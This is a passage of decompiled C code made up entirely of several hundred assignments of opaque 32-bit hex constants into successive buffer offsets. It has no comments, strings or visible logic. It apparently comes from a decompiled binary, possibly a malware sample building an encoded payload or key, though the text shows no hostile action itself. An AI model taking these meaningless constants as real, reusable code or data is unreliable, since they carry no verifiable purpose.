				 *((intOrPtr*)(_t2749 + 0x98)) = 0x97402f11;
				 *((intOrPtr*)(_t2749 + 0x9c)) = 0x6525f16c;
				 *((intOrPtr*)(_t2749 + 0xa0)) = 0x86243e2f;
				 *((intOrPtr*)(_t2749 + 0xa4)) = 0x235dae10;
				 *((intOrPtr*)(_t2749 + 0xa8)) = 0x58a7179f;
				 *((intOrPtr*)(_t2749 + 0xac)) = 0x618607ab;
				 *((intOrPtr*)(_t2749 + 0xb0)) = 0x96744524;
				 *((intOrPtr*)(_t2749 + 0xb4)) = 0x26139645;
				 *((intOrPtr*)(_t2749 + 0xb8)) = 0x76a12007;
				 *((intOrPtr*)(_t2749 + 0xbc)) = 0x1931379d;
				 *((intOrPtr*)(_t2749 + 0xc0)) = 0x8a07ab5e;
				 *((intOrPtr*)(_t2749 + 0xc4)) = 0x547d3e5c;
				 *((intOrPtr*)(_t2749 + 0xc8)) = 0x9707c737;
				 *((intOrPtr*)(_t2749 + 0xcc)) = 0x43bd2d20;
				 *((intOrPtr*)(_t2749 + 0xd0)) = 0xeb59453a;
				 *((intOrPtr*)(_t2749 + 0xd4)) = 0x1cb576d8;
				 *((intOrPtr*)(_t2749 + 0xd8)) = 0xc188b81e;
				 *((intOrPtr*)(_t2749 + 0xdc)) = 0x4200582d;
				 *((intOrPtr*)(_t2749 + 0xe0)) = 0x92a1c93b;
				 *((intOrPtr*)(_t2749 + 0xe4)) = 0x595d7323;
				 *((intOrPtr*)(_t2749 + 0xe8)) = 0xe17f6d4a;
				 *((intOrPtr*)(_t2749 + 0xec)) = 0x82005e07;
				 *((intOrPtr*)(_t2749 + 0xf0)) = 0x241db865;
				 *((intOrPtr*)(_t2749 + 0xf4)) = 0x4cb3f72;
				 *((intOrPtr*)(_t2749 + 0xf8)) = 0xbe2a1d;
				 *((intOrPtr*)(_t2749 + 0xfc)) = 0xc8a46119;
				 *((intOrPtr*)(_t2749 + 0x100)) = 0x7fdd0abf;
				 *((intOrPtr*)(_t2749 + 0x104)) = 0xdc7d1974;
				 *((intOrPtr*)(_t2749 + 0x108)) = 0xa4f6644;
				 *((intOrPtr*)(_t2749 + 0x10c)) = 0x1b4211c8;
				 *((intOrPtr*)(_t2749 + 0x110)) = 0x6d1fd409;
				 *((intOrPtr*)(_t2749 + 0x114)) = 0x766628f0;
				 *((intOrPtr*)(_t2749 + 0x118)) = 0x3525503f;
				 *((intOrPtr*)(_t2749 + 0x11c)) = 0x53168d19;
				 *((intOrPtr*)(_t2749 + 0x120)) = 0xa6660462;
				 *((intOrPtr*)(_t2749 + 0x124)) = 0x1a8dba72;
				 *((intOrPtr*)(_t2749 + 0x128)) = 0x72487be6;
				 *((intOrPtr*)(_t2749 + 0x12c)) = 0xa115be1e;
				 *((intOrPtr*)(_t2749 + 0x130)) = 0xac06270;
				 *((intOrPtr*)(_t2749 + 0x134)) = 0x7d6506fe;
				 *((intOrPtr*)(_t2749 + 0x138)) = 0x6908be2a;
				 *((intOrPtr*)(_t2749 + 0x13c)) = 0x4c132995;
				 *((intOrPtr*)(_t2749 + 0x140)) = 0x503d564c;
				 *((intOrPtr*)(_t2749 + 0x144)) = 0x2405b861;
				 *((intOrPtr*)(_t2749 + 0x148)) = 0x95bd3662;
				 *((intOrPtr*)(_t2749 + 0x14c)) = 0x617fed1d;
				 *((intOrPtr*)(_t2749 + 0x150)) = 0x72e01a69;
				 *((intOrPtr*)(_t2749 + 0x154)) = 0xf3650784;
				 *((intOrPtr*)(_t2749 + 0x158)) = 0x7571a018;
				 *((intOrPtr*)(_t2749 + 0x15c)) = 0xffa0e28;
				 *((intOrPtr*)(_t2749 + 0x160)) = 0x17229279;
				 *((intOrPtr*)(_t2749 + 0x164)) = 0x78524c65;
				 *((intOrPtr*)(_t2749 + 0x168)) = 0x2cf2437;
				 *((intOrPtr*)(_t2749 + 0x16c)) = 0xca687017;
				 *((intOrPtr*)(_t2749 + 0x170)) = 0x3bc94885;
				 *((intOrPtr*)(_t2749 + 0x174)) = 0xeb1d7166;
				 *((intOrPtr*)(_t2749 + 0x178)) = 0x611cfd76;
				 *((intOrPtr*)(_t2749 + 0x17c)) = 0x6e57fad;
				 *((intOrPtr*)(_t2749 + 0x180)) = 0xa41c1b72;
				 *((intOrPtr*)(_t2749 + 0x184)) = 0x6c72978;
				 *((intOrPtr*)(_t2749 + 0x188)) = 0x55526253;
				 *((intOrPtr*)(_t2749 + 0x18c)) = 0xd40d3375;
				 *((intOrPtr*)(_t2749 + 0x190)) = 0x2d174906;
				 *((intOrPtr*)(_t2749 + 0x194)) = 0xdb7b82bd;
				 *((intOrPtr*)(_t2749 + 0x198)) = 0x48611165;
				 *((intOrPtr*)(_t2749 + 0x19c)) = 0x406af2cf;
				 *((intOrPtr*)(_t2749 + 0x1a0)) = 0x76766655;
				 *((intOrPtr*)(_t2749 + 0x1a4)) = 0x73e41a99;
				 *((intOrPtr*)(_t2749 + 0x1a8)) = 0xbe1a6a48;
				 *((intOrPtr*)(_t2749 + 0x1ac)) = 0x15f2091d;
				 *((intOrPtr*)(_t2749 + 0x1b0)) = 0x42726224;
				 *((intOrPtr*)(_t2749 + 0x1b4)) = 0xbe2e5544;
				 *((intOrPtr*)(_t2749 + 0x1b8)) = 0x2c727d11;
				 *((intOrPtr*)(_t2749 + 0x1bc)) = 0xdd0ab8c8;
				 *((intOrPtr*)(_t2749 + 0x1c0)) = 0x7d19747f;
				 *((intOrPtr*)(_t2749 + 0x1c4)) = 0x329245dc;
				 *((intOrPtr*)(_t2749 + 0x1c8)) = 0xef1d8171;
				 *((intOrPtr*)(_t2749 + 0x1cc)) = 0x1e716177;
				 *((intOrPtr*)(_t2749 + 0x1d0)) = 0x42ecbae0;
				 *((intOrPtr*)(_t2749 + 0x1d4)) = 0x6d973356;
				 *((intOrPtr*)(_t2749 + 0x1d8)) = 0x42137111;
				 *((intOrPtr*)(_t2749 + 0x1dc)) = 0xd8094264;
				 *((intOrPtr*)(_t2749 + 0x1e0)) = 0x18651732;
				 *((intOrPtr*)(_t2749 + 0x1e4)) = 0xe77fb9ad;
				 *((intOrPtr*)(_t2749 + 0x1e8)) = 0x1803720e;
				 *((intOrPtr*)(_t2749 + 0x1ec)) = 0x487571a4;
				 *((intOrPtr*)(_t2749 + 0x1f0)) = 0x9824407;
				 *((intOrPtr*)(_t2749 + 0x1f4)) = 0x6d1722dc;
				 *((intOrPtr*)(_t2749 + 0x1f8)) = 0x1f20df15;
				 *((intOrPtr*)(_t2749 + 0x1fc)) = 0x137206ab;
				 *((intOrPtr*)(_t2749 + 0x200)) = 0x5139295c;
				 *((intOrPtr*)(_t2749 + 0x204)) = 0x6623cf48;
				 *((intOrPtr*)(_t2749 + 0x208)) = 0xe7991461;
				 *((intOrPtr*)(_t2749 + 0x20c)) = 0x491ed20d;
				 *((intOrPtr*)(_t2749 + 0x210)) = 0x13cf2407;
				 *((intOrPtr*)(_t2749 + 0x214)) = 0xca1a15ab;
				 *((intOrPtr*)(_t2749 + 0x218)) = 0x53068919;
				 *((intOrPtr*)(_t2749 + 0x21c)) = 0xa666046a;
				 *((intOrPtr*)(_t2749 + 0x220)) = 0x14c100f4;
				 *((intOrPtr*)(_t2749 + 0x224)) = 0xe085904;
				 *((intOrPtr*)(_t2749 + 0x228)) = 0xee007edb;
				 *((intOrPtr*)(_t2749 + 0x22c)) = 0x2752cd70;
				 *((intOrPtr*)(_t2749 + 0x230)) = 0xd8092d04;
				 *((intOrPtr*)(_t2749 + 0x234)) = 0x9e651732;
				 *((intOrPtr*)(_t2749 + 0x238)) = 0x1e42cd17;
				 *((intOrPtr*)(_t2749 + 0x23c)) = 0x97553321;
				 *((intOrPtr*)(_t2749 + 0x240)) = 0x6916c;
				 *((intOrPtr*)(_t2749 + 0x244)) = 0x19663385;
				 *((intOrPtr*)(_t2749 + 0x248)) = 0x21520919;
				 *((intOrPtr*)(_t2749 + 0x24c)) = 0x6b49169e;
				 *((intOrPtr*)(_t2749 + 0x250)) = 0x5c25273e;
				 *((intOrPtr*)(_t2749 + 0x254)) = 0x31116d97;
				 *((intOrPtr*)(_t2749 + 0x258)) = 0x27143075;
				 *((intOrPtr*)(_t2749 + 0x25c)) = 0x171add05;
				 *((intOrPtr*)(_t2749 + 0x260)) = 0xc5179e21;
				 *((intOrPtr*)(_t2749 + 0x264)) = 0x33380564;
				 *((intOrPtr*)(_t2749 + 0x268)) = 0x5a8515f4;
				 *((intOrPtr*)(_t2749 + 0x26c)) = 0xb0275237;
				 *((intOrPtr*)(_t2749 + 0x270)) = 0x926f107;
				 *((intOrPtr*)(_t2749 + 0x274)) = 0x953f3746;
				 *((intOrPtr*)(_t2749 + 0x278)) = 0x270f8328;
				 *((intOrPtr*)(_t2749 + 0x27c)) = 0x9f2dbb12;
				 *((intOrPtr*)(_t2749 + 0x280)) = 0x2a2415f2;
				 *((intOrPtr*)(_t2749 + 0x284)) = 0x3e222d3b;
				 *((intOrPtr*)(_t2749 + 0x288)) = 0x356177a1;
				 *((intOrPtr*)(_t2749 + 0x28c)) = 0x3440800;
				 *((intOrPtr*)(_t2749 + 0x290)) = 0x20171285;
				 *((intOrPtr*)(_t2749 + 0x294)) = 0x6532475c;
				 *((intOrPtr*)(_t2749 + 0x298)) = 0x653eff06;
				 *((intOrPtr*)(_t2749 + 0x29c)) = 0x6177a121;
				 *((intOrPtr*)(_t2749 + 0x2a0)) = 0x521f1421;
				 *((intOrPtr*)(_t2749 + 0x2a4)) = 0x17128509;
				 *((intOrPtr*)(_t2749 + 0x2a8)) = 0x22507b2c;
				 *((intOrPtr*)(_t2749 + 0x2ac)) = 0xc232856f;
				 *((intOrPtr*)(_t2749 + 0x2b0)) = 0x56052734;
				 *((intOrPtr*)(_t2749 + 0x2b4)) = 0xe92fd101;
				 *((intOrPtr*)(_t2749 + 0x2b8)) = 0x766628f0;
				 *((intOrPtr*)(_t2749 + 0x2bc)) = 0x3527503d;
				 *((intOrPtr*)(_t2749 + 0x2c0)) = 0x3f96ff10;
				 *((intOrPtr*)(_t2749 + 0x2c4)) = 0x3e7105cf;
				 *((intOrPtr*)(_t2749 + 0x2c8)) = 0x727d01f4;
				 *((intOrPtr*)(_t2749 + 0x2cc)) = 0x42613760;
				 *((intOrPtr*)(_t2749 + 0x2d0)) = 0xd1cb81e;
				 *((intOrPtr*)(_t2749 + 0x2d4)) = 0xf8d1d05;
				 *((intOrPtr*)(_t2749 + 0x2d8)) = 0x9572072f;
				 *((intOrPtr*)(_t2749 + 0x2dc)) = 0x7d01ba2e;
				 *((intOrPtr*)(_t2749 + 0x2e0)) = 0x38ba257a;
				 *((intOrPtr*)(_t2749 + 0x2e4)) = 0xaf727666;
				 *((intOrPtr*)(_t2749 + 0x2e8)) = 0x4cda7dfd;
				 *((intOrPtr*)(_t2749 + 0x2ec)) = 0xcc0a4766;
				 *((intOrPtr*)(_t2749 + 0x2f0)) = 0x7676ce10;
				 *((intOrPtr*)(_t2749 + 0x2f4)) = 0x73e41a99;
				 *((intOrPtr*)(_t2749 + 0x2f8)) = 0xbe1a6a48;
				 *((intOrPtr*)(_t2749 + 0x2fc)) = 0x15f2491d;
				 *((intOrPtr*)(_t2749 + 0x300)) = 0x42786224;
				 *((intOrPtr*)(_t2749 + 0x304)) = 0xbe2e554e;
				 *((intOrPtr*)(_t2749 + 0x308)) = 0x2c727d11;
				 *((intOrPtr*)(_t2749 + 0x30c)) = 0xdd0ab8c8;
				 *((intOrPtr*)(_t2749 + 0x310)) = 0x7d19747f;
				 *((intOrPtr*)(_t2749 + 0x314)) = 0x1f6644dc;
				 *((intOrPtr*)(_t2749 + 0x318)) = 0x2e957207;
				 *((intOrPtr*)(_t2749 + 0x31c)) = 0x7a7d01ba;
				 *((intOrPtr*)(_t2749 + 0x320)) = 0x2a21ba21;
				 *((intOrPtr*)(_t2749 + 0x324)) = 0x9747791;
				 *((intOrPtr*)(_t2749 + 0x328)) = 0x420d5138;
				 *((intOrPtr*)(_t2749 + 0x32c)) = 0x7115cf3f;
				 *((intOrPtr*)(_t2749 + 0x330)) = 0x8dba7246;
				 *((intOrPtr*)(_t2749 + 0x334)) = 0x487be61a;
				 *((intOrPtr*)(_t2749 + 0x338)) = 0x14be1e72;
				 *((intOrPtr*)(_t2749 + 0x33c)) = 0x33144d0d;
				 *((intOrPtr*)(_t2749 + 0x340)) = 0x5cb3f82;
				 *((intOrPtr*)(_t2749 + 0x344)) = 0xc87f4e71;
				 *((intOrPtr*)(_t2749 + 0x348)) = 0x73aa2214;
				 *((intOrPtr*)(_t2749 + 0x34c)) = 0x335b6248;
				 *((intOrPtr*)(_t2749 + 0x350)) = 0xdc7d295d;
				 *((intOrPtr*)(_t2749 + 0x354)) = 0x3576654;
				 *((intOrPtr*)(_t2749 + 0x358)) = 0x3c2381be;
				 *((intOrPtr*)(_t2749 + 0x35c)) = 0x2c721cf2;
				 *((intOrPtr*)(_t2749 + 0x360)) = 0x4e17db38;
				 *((intOrPtr*)(_t2749 + 0x364)) = 0x3564db7a;
				 *((intOrPtr*)(_t2749 + 0x368)) = 0x3e1255ae;
				 *((intOrPtr*)(_t2749 + 0x36c)) = 0x2e550cc9;
				 *((intOrPtr*)(_t2749 + 0x370)) = 0xd91195b8;
				 *((intOrPtr*)(_t2749 + 0x374)) = 0x1a39c8b5;
				 *((intOrPtr*)(_t2749 + 0x378)) = 0x291db81f;
				 *((intOrPtr*)(_t2749 + 0x37c)) = 0xad3da7d;
				 *((intOrPtr*)(_t2749 + 0x380)) = 0xbebafc;
				 *((intOrPtr*)(_t2749 + 0x384)) = 0x96ce7b06;
				 *((intOrPtr*)(_t2749 + 0x388)) = 0x93c7e616;
				 *((intOrPtr*)(_t2749 + 0x38c)) = 0xdb723e17;
				 *((intOrPtr*)(_t2749 + 0x390)) = 0x4fdc70ff;
				 *((intOrPtr*)(_t2749 + 0x394)) = 0x8b4402;
				 *((intOrPtr*)(_t2749 + 0x398)) = 0x450366ed;
				 *((intOrPtr*)(_t2749 + 0x39c)) = 0xefe61a59;
				 *((intOrPtr*)(_t2749 + 0x3a0)) = 0x76561793;
				 *((intOrPtr*)(_t2749 + 0x3a4)) = 0x19347edd;
				 *((intOrPtr*)(_t2749 + 0x3a8)) = 0xc932b28b;
				 *((intOrPtr*)(_t2749 + 0x3ac)) = 0xc5e3108e;
				 *((intOrPtr*)(_t2749 + 0x3b0)) = 0xe61e7131;
				 *((intOrPtr*)(_t2749 + 0x3b4)) = 0x8e6924f7;
				 *((intOrPtr*)(_t2749 + 0x3b8)) = 0x6e8337a;
				 *((intOrPtr*)(_t2749 + 0x3bc)) = 0x2b54983;
				 *((intOrPtr*)(_t2749 + 0x3c0)) = 0x23de0852;
				 *((intOrPtr*)(_t2749 + 0x3c4)) = 0x985a003b;
				 *((intOrPtr*)(_t2749 + 0x3c8)) = 0x6e3be7;
				 *((intOrPtr*)(_t2749 + 0x3cc)) = 0x68533f64;
				 *((intOrPtr*)(_t2749 + 0x3d0)) = 0x414d59bd;
				 *((intOrPtr*)(_t2749 + 0x3d4)) = 0x9b7a07b5;
				 *((intOrPtr*)(_t2749 + 0x3d8)) = 0xd20ded14;
				 *((intOrPtr*)(_t2749 + 0x3dc)) = 0x1c62929d;
				 *((intOrPtr*)(_t2749 + 0x3e0)) = 0x504e6f0e;
				 *((intOrPtr*)(_t2749 + 0x3e4)) = 0x5a6b126;
				 *((intOrPtr*)(_t2749 + 0x3e8)) = 0x780e7742;
				 *((intOrPtr*)(_t2749 + 0x3ec)) = 0xc13c5628;
				 *((intOrPtr*)(_t2749 + 0x3f0)) = 0x376d57b4;
				 *((intOrPtr*)(_t2749 + 0x3f4)) = 0x132b7b20;
				 *((intOrPtr*)(_t2749 + 0x3f8)) = 0x54d6ad5f;
				 *((intOrPtr*)(_t2749 + 0x3fc)) = 0x7b3b4200;
				 *((intOrPtr*)(_t2749 + 0x400)) = 0xb7696d3c;
				 *((intOrPtr*)(_t2749 + 0x404)) = 0x6d525c9c;
				 *((intOrPtr*)(_t2749 + 0x408)) = 0x2e0fe77b;
				 *((intOrPtr*)(_t2749 + 0x40c)) = 0x3ae0d57e;
				 *((intOrPtr*)(_t2749 + 0x410)) = 0x7747ccd5;
				 *((intOrPtr*)(_t2749 + 0x414)) = 0x18360942;
				 *((intOrPtr*)(_t2749 + 0x418)) = 0xac5a0d0f;
				 *((intOrPtr*)(_t2749 + 0x41c)) = 0x73c08ec;
				 *((intOrPtr*)(_t2749 + 0x420)) = 0xac5f3356;
				 *((intOrPtr*)(_t2749 + 0x424)) = 0x4200548c;
				 *((intOrPtr*)(_t2749 + 0x428)) = 0x55c726cf;
				 *((intOrPtr*)(_t2749 + 0x42c)) = 0x1e7c5566;
				 *((intOrPtr*)(_t2749 + 0x430)) = 0xc6b26256;
				 *((intOrPtr*)(_t2749 + 0x434)) = 0x14335647;
				 *((intOrPtr*)(_t2749 + 0x438)) = 0x416972a2;
				 *((intOrPtr*)(_t2749 + 0x43c)) = 0x414276f9;
				 *((intOrPtr*)(_t2749 + 0x440)) = 0x86b72355;
				 *((intOrPtr*)(_t2749 + 0x444)) = 0x32fad756;
				 *((intOrPtr*)(_t2749 + 0x448)) = 0x8459426c;
				 *((intOrPtr*)(_t2749 + 0x44c)) = 0xda742f17;
				 *((intOrPtr*)(_t2749 + 0x450)) = 0xdc04ddf;
				 *((intOrPtr*)(_t2749 + 0x454)) = 0x47a6d055;
				 *((intOrPtr*)(_t2749 + 0x458)) = 0xacd1116d;
				 *((intOrPtr*)(_t2749 + 0x45c)) = 0x86c92813;
				 *((intOrPtr*)(_t2749 + 0x460)) = 0xbee6537b;
				 *((intOrPtr*)(_t2749 + 0x464)) = 0xa5c70400;
				 *((intOrPtr*)(_t2749 + 0x468)) = 0x77de4637;
				 *((intOrPtr*)(_t2749 + 0x46c)) = 0xb9894672;
				 *((intOrPtr*)(_t2749 + 0x470)) = 0x797d346f;
				 *((intOrPtr*)(_t2749 + 0x474)) = 0xf3173c85;
				 *((intOrPtr*)(_t2749 + 0x478)) = 0x6ac1d27d;
				 *((intOrPtr*)(_t2749 + 0x47c)) = 0x2092693a;
				 *((intOrPtr*)(_t2749 + 0x480)) = 0xd4c87b84;
				 *((intOrPtr*)(_t2749 + 0x484)) = 0x6c376dc2;
				 *((intOrPtr*)(_t2749 + 0x488)) = 0xdbe2a903;
				 *((intOrPtr*)(_t2749 + 0x48c)) = 0x51a1bc;
				 *((intOrPtr*)(_t2749 + 0x490)) = 0x33cf3342;
				 *((intOrPtr*)(_t2749 + 0x494)) = 0x323022aa;
				 *((intOrPtr*)(_t2749 + 0x498)) = 0xc82fdf09;
				 *((intOrPtr*)(_t2749 + 0x49c)) = 0xbe1e929b;
				 *((intOrPtr*)(_t2749 + 0x4a0)) = 0x7271d61a;
				 *((intOrPtr*)(_t2749 + 0x4a4)) = 0xab4c9f0;
				 *((intOrPtr*)(_t2749 + 0x4a8)) = 0xbe2e9d42;
				 *((intOrPtr*)(_t2749 + 0x4ac)) = 0x9a1aa607;
				 *((intOrPtr*)(_t2749 + 0x4b0)) = 0x9e6124e7;
				 *((intOrPtr*)(_t2749 + 0x4b4)) = 0x3ad86b7f;
				 *((intOrPtr*)(_t2749 + 0x4b8)) = 0x774724d4;
				 *((intOrPtr*)(_t2749 + 0x4bc)) = 0x29de0942;
				 *((intOrPtr*)(_t2749 + 0x4c0)) = 0x56e00403;
				 *((intOrPtr*)(_t2749 + 0x4c4)) = 0x36c376d;
				 *((intOrPtr*)(_t2749 + 0x4c8)) = 0x296033ee;
				 *((intOrPtr*)(_t2749 + 0x4cc)) = 0x948b1035;
				 *((intOrPtr*)(_t2749 + 0x4d0)) = 0x1d411788;
				 *((intOrPtr*)(_t2749 + 0x4d4)) = 0xdc0debed;
				 *((intOrPtr*)(_t2749 + 0x4d8)) = 0x28221892;
				 *((intOrPtr*)(_t2749 + 0x4dc)) = 0x11371ecf;
				 *((intOrPtr*)(_t2749 + 0x4e0)) = 0x613591;
				 *((intOrPtr*)(_t2749 + 0x4e4)) = 0x97c93642;
				 *((intOrPtr*)(_t2749 + 0x4e8)) = 0x10ccaf66;
				 *((intOrPtr*)(_t2749 + 0x4ec)) = 0xefe61a59;
				 *((intOrPtr*)(_t2749 + 0x4f0)) = 0x726a04e7;
				 *((intOrPtr*)(_t2749 + 0x4f4)) = 0x513528ee;
				 *((intOrPtr*)(_t2749 + 0x4f8)) = 0x7e34cb00;
				 *((intOrPtr*)(_t2749 + 0x4fc)) = 0x85a03ca;
				 *((intOrPtr*)(_t2749 + 0x500)) = 0x60210d12;
				 *((intOrPtr*)(_t2749 + 0x504)) = 0x5503a6bc;
				 *((intOrPtr*)(_t2749 + 0x508)) = 0x42ddae5;
				 *((intOrPtr*)(_t2749 + 0x50c)) = 0x9c5b04d9;
				 *((intOrPtr*)(_t2749 + 0x510)) = 0x1d3609ac;
				 *((intOrPtr*)(_t2749 + 0x514)) = 0x85d2000f;
				 *((intOrPtr*)(_t2749 + 0x518)) = 0xa973425;
				 *((intOrPtr*)(_t2749 + 0x51c)) = 0x29d88edf;
				 *((intOrPtr*)(_t2749 + 0x520)) = 0xf50f5135;
				 *((intOrPtr*)(_t2749 + 0x524)) = 0x11275630;
				 *((intOrPtr*)(_t2749 + 0x528)) = 0x2a434c5d;
				 *((intOrPtr*)(_t2749 + 0x52c)) = 0x2bba216c;
				 *((intOrPtr*)(_t2749 + 0x530)) = 0x90301a6a;
				 *((intOrPtr*)(_t2749 + 0x534)) = 0x459ebe6c;
				 *((intOrPtr*)(_t2749 + 0x538)) = 0x5e344f7b;
				 *((intOrPtr*)(_t2749 + 0x53c)) = 0x4163ed14;
				 *((intOrPtr*)(_t2749 + 0x540)) = 0xcb25d918;
				 *((intOrPtr*)(_t2749 + 0x544)) = 0x7697c92d;
				 *((intOrPtr*)(_t2749 + 0x548)) = 0x527de753;
				 *((intOrPtr*)(_t2749 + 0x54c)) = 0x92740ac8;
				 *((intOrPtr*)(_t2749 + 0x550)) = 0xbb5451cb;
				 *((intOrPtr*)(_t2749 + 0x554)) = 0x56174041;
				 *((intOrPtr*)(_t2749 + 0x558)) = 0x59a31e3f;
				 *((intOrPtr*)(_t2749 + 0x55c)) = 0x702f1784;
				 *((intOrPtr*)(_t2749 + 0x560)) = 0xf40bd652;
				 *((intOrPtr*)(_t2749 + 0x564)) = 0x5d116982;
				 *((intOrPtr*)(_t2749 + 0x568)) = 0x1e9037e3;
				 *((intOrPtr*)(_t2749 + 0x56c)) = 0x6920e4e6;
				 *((intOrPtr*)(_t2749 + 0x570)) = 0xad5f0301;
				 *((intOrPtr*)(_t2749 + 0x574)) = 0x42005186;
				 *((intOrPtr*)(_t2749 + 0x578)) = 0xe1fe7b33;
				 *((intOrPtr*)(_t2749 + 0x57c)) = 0x56453366;
				 *((intOrPtr*)(_t2749 + 0x580)) = 0x6c37cbd6;
				 *((intOrPtr*)(_t2749 + 0x584)) = 0xd7b81242;
				 *((intOrPtr*)(_t2749 + 0x588)) = 0x513599;
				 *((intOrPtr*)(_t2749 + 0x58c)) = 0x481740e;
				 *((intOrPtr*)(_t2749 + 0x590)) = 0xc13c5e6c;
				 *((intOrPtr*)(_t2749 + 0x594)) = 0x376d52ca;
				 *((intOrPtr*)(_t2749 + 0x598)) = 0x3ca9f92d;
				 *((intOrPtr*)(_t2749 + 0x59c)) = 0xec742950;
				 *((intOrPtr*)(_t2749 + 0x5a0)) = 0x42774202;
				 *((intOrPtr*)(_t2749 + 0x5a4)) = 0x3b2ed80c;
				 *((intOrPtr*)(_t2749 + 0x5a8)) = 0x62133fae;
				 *((intOrPtr*)(_t2749 + 0x5ac)) = 0xe14d6d80;
				 *((intOrPtr*)(_t2749 + 0x5b0)) = 0xdce836fb;
				 *((intOrPtr*)(_t2749 + 0x5b4)) = 0x8ec1665d;
				 *((intOrPtr*)(_t2749 + 0x5b8)) = 0x275a3448;
				 *((intOrPtr*)(_t2749 + 0x5bc)) = 0x71104db8;
				 *((intOrPtr*)(_t2749 + 0x5c0)) = 0x816f7fae;
				 *((intOrPtr*)(_t2749 + 0x5c4)) = 0x2844321a;
				 *((intOrPtr*)(_t2749 + 0x5c8)) = 0xc16612de;
				 *((intOrPtr*)(_t2749 + 0x5cc)) = 0x5934418e;
				 *((intOrPtr*)(_t2749 + 0x5d0)) = 0x1186102f;
				 *((intOrPtr*)(_t2749 + 0x5d4)) = 0x2d3461df;
				 *((intOrPtr*)(_t2749 + 0x5d8)) = 0x7ad894c9;
				 *((intOrPtr*)(_t2749 + 0x5dc)) = 0xce6a744f;
				 *((intOrPtr*)(_t2749 + 0x5e0)) = 0x620b6437;
				 *((intOrPtr*)(_t2749 + 0x5e4)) = 0x49be2e96;
				 *((intOrPtr*)(_t2749 + 0x5e8)) = 0xf5e61b5a;
				 *((intOrPtr*)(_t2749 + 0x5ec)) = 0x23be8324;
				 *((intOrPtr*)(_t2749 + 0x5f0)) = 0xbaf59e5f;
				 *((intOrPtr*)(_t2749 + 0x5f4)) = 0x79362411;
				 *((intOrPtr*)(_t2749 + 0x5f8)) = 0x7a74208c;
				 *((intOrPtr*)(_t2749 + 0x5fc)) = 0xe01a9a66;
				 *((intOrPtr*)(_t2749 + 0x600)) = 0x59036f3b;
				 *((intOrPtr*)(_t2749 + 0x604)) = 0xbe689284;
				 *((intOrPtr*)(_t2749 + 0x608)) = 0x73434841;
				 *((intOrPtr*)(_t2749 + 0x60c)) = 0xab560c48;
				 *((intOrPtr*)(_t2749 + 0x610)) = 0x5619ce72;
				 *((intOrPtr*)(_t2749 + 0x614)) = 0xeac3424;
				 *((intOrPtr*)(_t2749 + 0x618)) = 0xa725fb6d;
				 *((intOrPtr*)(_t2749 + 0x61c)) = 0x7c1da78;
				 *((intOrPtr*)(_t2749 + 0x620)) = 0xd5347b4e;
				 *((intOrPtr*)(_t2749 + 0x624)) = 0x49e8b82a;
				 *((intOrPtr*)(_t2749 + 0x628)) = 0x28376d53;
				 *((intOrPtr*)(_t2749 + 0x62c)) = 0x50a7e97b;
				 *((intOrPtr*)(_t2749 + 0x630)) = 0x845e3529;
				 *((intOrPtr*)(_t2749 + 0x634)) = 0x4142763e;
				 *((intOrPtr*)(_t2749 + 0x638)) = 0xd5b4ed11;
				 *((intOrPtr*)(_t2749 + 0x63c)) = 0x726d5259;
				 *((intOrPtr*)(_t2749 + 0x640)) = 0x301aade7;
				 *((intOrPtr*)(_t2749 + 0x644)) = 0x11b86093;
				 *((intOrPtr*)(_t2749 + 0x648)) = 0x770a90c;
				 *((intOrPtr*)(_t2749 + 0x64c)) = 0xbe2ebb42;
				 *((intOrPtr*)(_t2749 + 0x650)) = 0x54164d05;
				 *((intOrPtr*)(_t2749 + 0x654)) = 0x13b6190f;
				 *((intOrPtr*)(_t2749 + 0x658)) = 0x495fbe08;
				 *((intOrPtr*)(_t2749 + 0x65c)) = 0x881f8d14;
				 *((intOrPtr*)(_t2749 + 0x660)) = 0x46e8c806;
				 *((intOrPtr*)(_t2749 + 0x664)) = 0x17594532;
				 *((intOrPtr*)(_t2749 + 0x668)) = 0xc729e0e6;
				 *((intOrPtr*)(_t2749 + 0x66c)) = 0x6425478d;
				 *((intOrPtr*)(_t2749 + 0x670)) = 0x4d4199be;
				 *((intOrPtr*)(_t2749 + 0x674)) = 0x87724367;
				 *((intOrPtr*)(_t2749 + 0x678)) = 0x1888b827;
				 *((intOrPtr*)(_t2749 + 0x67c)) = 0x9a5ea779;
				 *((intOrPtr*)(_t2749 + 0x680)) = 0x503015bf;
				 *((intOrPtr*)(_t2749 + 0x684)) = 0x2eca91;
				 *((intOrPtr*)(_t2749 + 0x688)) = 0x72b38042;
				 *((intOrPtr*)(_t2749 + 0x68c)) = 0x86f5e787;
				 *((intOrPtr*)(_t2749 + 0x690)) = 0x766d74c7;
				 *((intOrPtr*)(_t2749 + 0x694)) = 0xb8504ee1;
				 *((intOrPtr*)(_t2749 + 0x698)) = 0x41dde896;
				 *((intOrPtr*)(_t2749 + 0x69c)) = 0x4208bd25;
				 *((intOrPtr*)(_t2749 + 0x6a0)) = 0x7297a241;
				 *((intOrPtr*)(_t2749 + 0x6a4)) = 0x6e179b46;
				 *((intOrPtr*)(_t2749 + 0x6a8)) = 0x5acf24e1;
				 *((intOrPtr*)(_t2749 + 0x6ac)) = 0x61a211b3;
				 *((intOrPtr*)(_t2749 + 0x6b0)) = 0x780310d9;
				 *((intOrPtr*)(_t2749 + 0x6b4)) = 0x27dd4d52;
				 *((intOrPtr*)(_t2749 + 0x6b8)) = 0xda5d543c;
				 *((intOrPtr*)(_t2749 + 0x6bc)) = 0x522dbc2c;
				 *((intOrPtr*)(_t2749 + 0x6c0)) = 0xa114ba17;
				 *((intOrPtr*)(_t2749 + 0x6c4)) = 0x530f1025;
				 *((intOrPtr*)(_t2749 + 0x6c8)) = 0x4c8037e;
				 *((intOrPtr*)(_t2749 + 0x6cc)) = 0x10c87e76;
				 *((intOrPtr*)(_t2749 + 0x6d0)) = 0xbf0c2846;
				 *((intOrPtr*)(_t2749 + 0x6d4)) = 0x5cd8ca30;
				 *((intOrPtr*)(_t2749 + 0x6d8)) = 0x141b0a2;
				 *((intOrPtr*)(_t2749 + 0x6dc)) = 0xc4cb7742;
				 *((intOrPtr*)(_t2749 + 0x6e0)) = 0x45336775;
				 *((intOrPtr*)(_t2749 + 0x6e4)) = 0x37fde5d2;
				 *((intOrPtr*)(_t2749 + 0x6e8)) = 0x301e426c;
				 *((intOrPtr*)(_t2749 + 0x6ec)) = 0x5d73a2a3;
				 *((intOrPtr*)(_t2749 + 0x6f0)) = 0xc6788285;
				 *((intOrPtr*)(_t2749 + 0x6f4)) = 0x336655f4;
